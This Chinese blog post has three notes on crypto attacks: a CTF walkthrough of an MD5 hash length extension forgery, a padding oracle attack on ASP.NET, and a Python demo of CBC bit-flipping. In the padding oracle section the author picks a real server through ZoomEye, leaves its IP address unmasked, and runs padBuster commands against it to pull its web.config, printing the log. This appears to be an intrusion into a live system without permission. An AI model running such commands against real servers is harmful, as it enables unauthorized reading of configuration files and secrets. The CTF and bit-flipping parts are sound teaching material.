哈希长度扩展攻击解析
起因
这是 ISCC 上的一道题目,抄 PCTF 的,并且给予了简化。在利用简化过的方式通过后,突然想起利用哈希长度扩展攻击来进行通关。哈希长度扩展攻击是一个很有意思的东西,利用了 md5、sha1 等加密算法的缺陷,可以在不知道原始密钥的情况下来进行计算出一个对应的 hash 值。
这里是 ISCC 中题目中的 admin.php 的算法:
$auth = false;
if (isset($_COOKIE["auth"])) {
$auth = unserialize($_COOKIE["auth"]);
$hsh = $_COOKIE["hsh"];
if ($hsh !== md5($SECRET . strrev($_COOKIE["auth"]))) { //$SECRET is a 8-bit salt
$auth = false;
}
}
else {
$auth = false;
$s = serialize($auth);
setcookie("auth", $s);
setcookie("hsh", md5($SECRET . strrev($s)));
}
了解哈希长度扩展攻击
哈希长度扩展攻击适用于加密情况为:hash($SECRET, $message)
的情况,其中 hash 最常见的就是 md5、hash1。我们可以在不知道$SECRET
的情况下推算出另外一个匹配的值。如上例所给的 PHP 代码:
- 我们知道
md5($SECRET . strrev($_COOKIE["auth"]))
的值 - 我们知道
$hsh
的值 - 我们可以算出另外一个 md5 值和另外一个 $hsh 的值,使得
$hsh == md5($SECRET . strrev($_COOKIE["auth"]))
这样即可通过验证。如果要理解哈希长度扩展攻击,我们要先理解消息摘要算法的实现。以下拿 md5 算法举例。
md5 算法实现
我们要实现对于字符串abc
的 md5 的值计算。首先我们要把其转化为 16 进制。
补位
消息必须进行补位,即使得其长度在对 512 取模后的值为 448。也就是说,len(message) % 512 == 448
。当消息长度不满 448 bit 时(注意是位,而不是字符串长度),消息长度达到 448 bit 即可。当然,如果消息长度已经达到 448 bit,也要进行补位。补位是必须的。
补位的方式的二进制表示是在消息的后面加上一个1
,后面跟着无限个0
,直到 len(message) % 512 == 448
。在 16 进制下,我们需要在消息后补80
,就是 2 进制的10000000
。我们把消息abc
进行补位到 448 bit,也就是 56 byte。
补长度
补位过后,第 57 个字节储存的是补位之前的消息长度。abc
是 3 个字母,也就是 3 个字节,24 bit。换算成 16 进制为 0x18。其后跟着 7 个字节的 0x00,把消息补满 64 字节。
计算消息摘要
计算消息摘要必须用补位已经补长度完成之后的消息来进行运算,拿出 512 bit的消息(即64字节)。 计算消息摘要的时候,有一个初始的链变量,用来参与第一轮的运算。MD5 的初始链变量为:
A=0x67452301
B=0xefcdab89
C=0x98badcfe
D=0x10325476
我们不需要关心计算细节,我们只需要知道经过一次消息摘要后,上面的链变量将会被新的值覆盖,而最后一轮产生的链变量经过高低位互换(如:aabbccdd -> ddccbbaa)后就是我们计算出来的 md5 值。
哈希长度扩展攻击的实现
问题就出在覆盖上。我们在不知道具体 $SECRET 的情况下,得知了其 hash 值,以及我们有一个可控的消息。而我们得到的 hash 值正是最后一轮摘要后的经过高地位互换的链变量。我们可以想像一下,在常规的摘要之后把我们的控制的信息进行下一轮摘要,只需要知道上一轮消息产生的链变量。
有点难理解,因为我都看的头大。看起来我们把实现放在攻击场景里会更好。
仍然是如上的 PHP。因为其走了一点弯路(strrev、unserialize),所以我们修改一下。
$auth = "I_L0vE_L0li";
if (isset($_COOKIE["auth"])) {
$hsh = $_COOKIE["hsh"];
if ($hsh !== md5($SECRET . $_COOKIE["auth"])) {
die("F4ck_U!");
}
} else {
setcookie("auth", $auth);
setcookie("hsh", md5($SECRET . $auth));
die("F4ck_U!");
}
die("I_aM_A_L0li_dA_Yo~");
在实际环境中,我不知道 $SECRET 的值(我胡乱打的QAQ),只知道长度为 12。首先我们访问一下看看。不出意外地被 f4ck 了。
Cookie 中的 auth 为I_L0vE_L0li
,hsh 为 7a84f420f8abe642237409f9d4daa851
。我们来进行哈希长度扩展攻击。
长度扩展
我们仍然要进行补位。因为 $SECRET 的长度是 12,我们用 12 个 x 来填补一下,紧跟着就是 auth 的值。然后我们把消息补到 448 bit。接着进行补长度。
然后后面跟着要附加的值,随意什么都可以。我这里是I_aM_L01i
好了=v=。
然后去掉前面的假的 $SECRET,得到最终的 $auth。
I_L0vE_L0li\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xB8\x00\x00\x00\x00\x00\x00\x00I_aM_L01i
urlencode之后为
I_L0vE_L0li%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%B8%00%00%00%00%00%00%00I_aM_L01i
计算哈希
我在网上找了一个 C 语言的 md5 实现。因为 Python 的实现不能改初始的链变量。我修改了初始的链变量为经过高低位逆转的 $hsh。
PS:原来的是7a84f420f8abe642237409f9d4daa851
A=0x20f4847a
B=0x42e6abf8
C=0xf9097423
D=0x51a8dad4
然后我们对附加的值进行 md5 加密。附加的值为I_aM_L01i
。首先我们把前面 64 个字节改为 64 个A
。这是为了使得除了 hash 本身以外其他的状态完全一样(原文:Then we take the MD5 of 64 'A's. We take the MD5 of a full (64-byte) block of 'A's to ensure that any internal values — other than the state of the hash itself — are set to what we expect)。实际上,前 64 个字节填充什么都无所谓。因为在进行我们的附加值的摘要之前,我们已经把链变量覆盖了。
然后我们编译并运行这个加密实现。
得到了一串密文,是1d00eac3f7da072d8365b0a7ae1fec42
。我们用 Firefox 的 firebug 插件进行修改 Cookie。
刷新后发现已经通过验证。
总结
看起来很难理解,我本人也通宵了一晚上才搞定。当然因为我比较笨QAQ。总之,这是个很好玩的东西,大家可以去复现一下。
另外这个问题的解决方案为:hash($SECRET, hash($message))
。这样就可以避免用户可控 message 了。
参考:https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks
Padding Oracle Attack 笔记
0x00
Padding Oracle Attack 经常在 AWVS 扫描的时候出现,但是作为渣渣的 rr 不会去利用这个漏洞。然而实际上,这个漏洞非常普遍,按照分类来说任意文件读取,但是利用成本略高,导致并不像网上常见的任意文件下载、本地文件包含或者是本地文件读取之类的漏洞一样流行。
漏洞造成的原因有很多写的很好的 paper 可以看,涉及到了密码学方面。下面是一些简单的介绍和利用,我也在此做一个笔记。
参考文章:
虽然看完有些头大,但是略微理解一点。下面是我的一点拙见,如果有错误还请指出。
ASP .NET 可以通过 ScriptManager 来打包输出一些文件,调用的方式类似于:
http://localhost/js.php?file=static/js/common.js
如果放在黑阔眼中,这大概就是一个明显的本地文件读取了。当然,ASP .NET 没有那么白痴,他会稍微加密一下,就像这样(实际上不是):
http://localhost/js.php?file=c3RhdGljL2pzL2NvbW1vbi5qcw
虽然这是一个简单的 base64 编码(就当它是加密好了),但是还是对于利用造成了一些难度。
说到这里还是没涉及到密码学方面的问题,而且密码学也不是咱的强项,我还是直接丢链接好了。
0x02
参考文章:
这里大致讲了一下 Padding Oracle Attack 形成的原因。
比如我们想读取 web.config 这个文件,我们可以通过加密,然后发送给服务端,服务端经过解密后发现这个是 web.config 这个文件,再返回它的内容给我们,我们就可以获取到 web.config 的内容。由于加密算法的缺陷,我们可以成功的伪造一段密文,导致利用成功。
这种攻击方式其实和哈希长度扩展攻击有着异曲同工之妙,具体的方式可以通过阅读上述的 paper 来理解。
0x03
在 ZoomEye 寻找到目标后,咱决定来一次实战攻击,在这里就不打码了。
另外,这个攻击的攻击成本还是挺高的,为了获取到这个文件信息,我大概发送了 10000 多次请求。
拿到目标后我们先查看源代码,发现存在 WebResource.axd 和 ScriptResource.axd 这两个文件。这两个文件是我们攻击所需要的,如果不存在的话Σ(っ °Д °;)っ...rr 也不知道该怎么办..
然后我们来获得想读取的文件的密文。
perl padBuster.pl "http://61.157.135.8:81/WebResource.axd?d=fUTgMrmxXz2EoDlng2fLLQ2&t=633802945995006876" fUTgMrmxXz2EoDlng2fLLQ2 16 -encoding 3 -plaintext "|||~/Web.config"
这里引用上面的链接里的话来解释这段命令的意思:
这里的16为每个数据块的字节数,分为8和16,目前本人还没有什么好的方法判断这个字节数,所以需要大家可以两种都试一下(大多数为 16),encoding参数有4中,分别是:0=Base64,1=Lower HEX,2=Upper HEX,3=.NET UrlToken, 4=WebSafe Base64,由于本次测试为asp.net,所以这里我们选择3,plaintext为想读取内容的文件,本次测试以web.config为例。
经过一段时间的加密之后,我们得到了密文:
这里产生的密文就是加密后的 web.config 和一些填充的字符串组成的,因为此时我们不知道密钥的值,所以我们可以生成出加密后的 web.config 的字符串(这里实在是说的不清楚..总之可以暴力破解得到正确的密文就好了)。利用命令:
perl padBuster.pl http://61.157.135.8:81/ScriptResource.axd\?d=y2qdgVbOtqJik6r5s7vtPwAAAAAAAAAAAAAAAAAAAAA1 y2qdgVbOtqJik6r5s7vtPwAAAAAAAAAAAAAAAAAAAAA1 16 -encoding 3 -bruteforce -log
然后慢慢跑啊跑。
跑了很久之后,突然发现有一个返回的 Content-Length 与众不同,就像人群中闪耀的 P7 一般:
看一下 log 文件,的确是 web.config 的内容:
URL: http://61.157.135.8:81/ScriptResource.axd?d=UwAkAAAAAAAAAAAAAAAAAMtqnYFWzraiYpOq-bO77T8AAAAAAAAAAAAAAAAAAAAA0
Post Data:
Cookies:
Status: 200
Location: N/A
Content-Length: 47983
Content:
<?xml version="1.0" encoding="utf-8"?>
<!--
....
访问地址:http://61.157.135.8:81/ScriptResource.axd?d=UwAkAAAAAAAAAAAAAAAAAMtqnYFWzraiYpOq-bO77T8AAAAAAAAAAAAAAAAAAAAA0
浏览器中同样显示出 web.config 的内容。
至此攻击成功。
0x04
需要注意的一点是,Padding Oracle Attack 不仅仅适用于对于 ASP .NET 的攻击,还适用于采用了 CBC 模式加密方式的各种场景下。
参考文章
如上所述,Padding Oracle Attack 攻击的成立条件为:
- 攻击者能够获得密文,以及附带在密文前面的 IV (初始化向量);
- 攻击者能够触发密文的解密过程,解密失败和解密成功的结果具有差异性,且能够知道密文解密后的结果。
另外所述工具在 Github 上搜索 padBuster.pl 即可。
心好乱_(:з」∠)_..
Bit-flipping Attack 笔记
Bit-flippting attack 是针对于 CBC 加密模式的一类攻击。攻击的意图也很直接:修改某一组密文的某个字节,导致另外一组解密出来的明文发生变化。
Introduction
首先要理解 CBC(cipher-block chaining)加密模式是如何工作的。贴上高大上的维基百科:http://en.wikipedia.org/wiki/Block_cipher_mode_of_operation
大体流程如下:
- 首先将明文分组(比如 16 个字节一组),位数不足的时候加以填充;
- 产生一个随机的初始化向量(叫做 IV)以及一个密钥;
- 将 IV 和第一组明文进行异或操作(XOR);
- 用密钥将第 3 步中 XOR 后的密文进行加密;
- 取第 4 步中加密后的密文,对第二组明文进行 XOR 操作;
- 用密钥将第 5 步产生的的密文加密;
- 重复 4-7,直到最后一组明文;
- 将 IV 和加密后的密文块按顺序拼接,得到加密的最终结果。
解密的流程正相反:
- 将 IV 从密文中取出,然后将密文进行分组;
- 利用密钥将第一组密文解密,同时用 IV 进行 XOR 操作得到明文;
- 利用密钥将第二组密文解密,同时用第 1 步中的密文进行 XOR 操作得到明文;
- 重复 1-4,直到最后一组密文。
CBC 模式加密的一个主要特点是完全依靠前面的密码文段来译码后面的内容。因此,整个过程的正确性决定于前面的部分。
这里就牵扯到一个问题,当我们更改了 IV 后,我们得到的第一组的明文会发生怎样的变化?
Example
我们首先来举个例子:
我们知道三个值,A、B,令M = A XOR B
。由于M = A XOR B
,所以M XOR A = B
;
若让X XOR M = C
,则 X 为X = A XOR B XOR C
。
这样,我们带入上述 CBC 模式加密中。我们可以更改初始化向量 IV 中某一个字节 A,导致解密出来的 XOR 异或后的密文中某一个字节 M,再经过和(更改过的)IV 异或操作后(原应该得到的明文的某一个字节 B)改变为 C。
就是这么简单的样子。下面来具体实践一下:
from Crypto.Cipher import AES
from Crypto import Random
import os
SECRET_KEY = os.urandom(8).encode('hex').upper()
IV = Random.new().read(16)
plaintext = '0123456789ABCDEFRICTERISNOTBAKA!'
BS = AES.block_size
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
unpad = lambda s : s[0:-ord(s[-1])]
PS:这里利用了 Python 的 Crypto 库,可以用pip install Crypto
安装喵。
我们随机产生了一个密钥和一个初始化变量 IV,然后随便打了一段明文_(:3」∠)_。
接下来我们对其进行 AES 加密,利用 CBC 加密模式:
aes = AES.new(SECRET_KEY, AES.MODE_CBC, IV)
ciphertext = IV + aes.encrypt(pad(plaintext))
这里我产生的密文为(base64 编码后..不然不能看233):
thcREg6a8a4hPGiz/kgTsr5hei07uot05ab0+ov3iwkj9zPobh9vs/KJZmrIj4XGsrv92mIpaVbh\n6DSuPDltcA==
然后我们来替换 IV 中某个字节,让我们的明文中第三个字节从 2 变成 R。
经过上述公式X = A XOR B XOR C
的计算,我们可以知道,要想让 2 变成 R,我们需要将 IV 中第三个字节从 0x17 变为 0x71。
chr(ord(ciphertext[2]) ^ ord(plaintext[2]) ^ ord('R'))
由于 Python 不能直接更改字符串的某个值,我们只能分割成数组更改完后再拼接:
ciphertext = list(ciphertext)
ciphertext[2] = chr(ord(ciphertext[2]) ^ ord(plaintext[2]) ^ ord('R'))
ciphertext = ''.join(ciphertext)
然后我们进行 AES 解密:
IV = ciphertext[:BS]
ciphertext = ciphertext[BS:]
aes = AES.new(SECRET_KEY, AES.MODE_CBC, IV)
plaintext = aes.decrypt(ciphertext)
plaintext = unpad(plaintext)
这样得到的结果就为:
01R3456789ABCDEFRICTERISNOTBAKA
值得注意的是,我们更改 IV 的时候不会影响接下来其他密文块的解密,只会影响第一组密文的结果,但是如果我们想更改第二组密文的某个值的结果的时候,就需要改变第一组密文的值,会导致第一组密文的解密结果坏掉。
我在 Github 上写了一段测试脚本如下,有兴趣可以看一看:
最后,如有错误,欢迎指出。因为没学过密码学,所以很害怕误人子弟就对了.._(:3」∠)_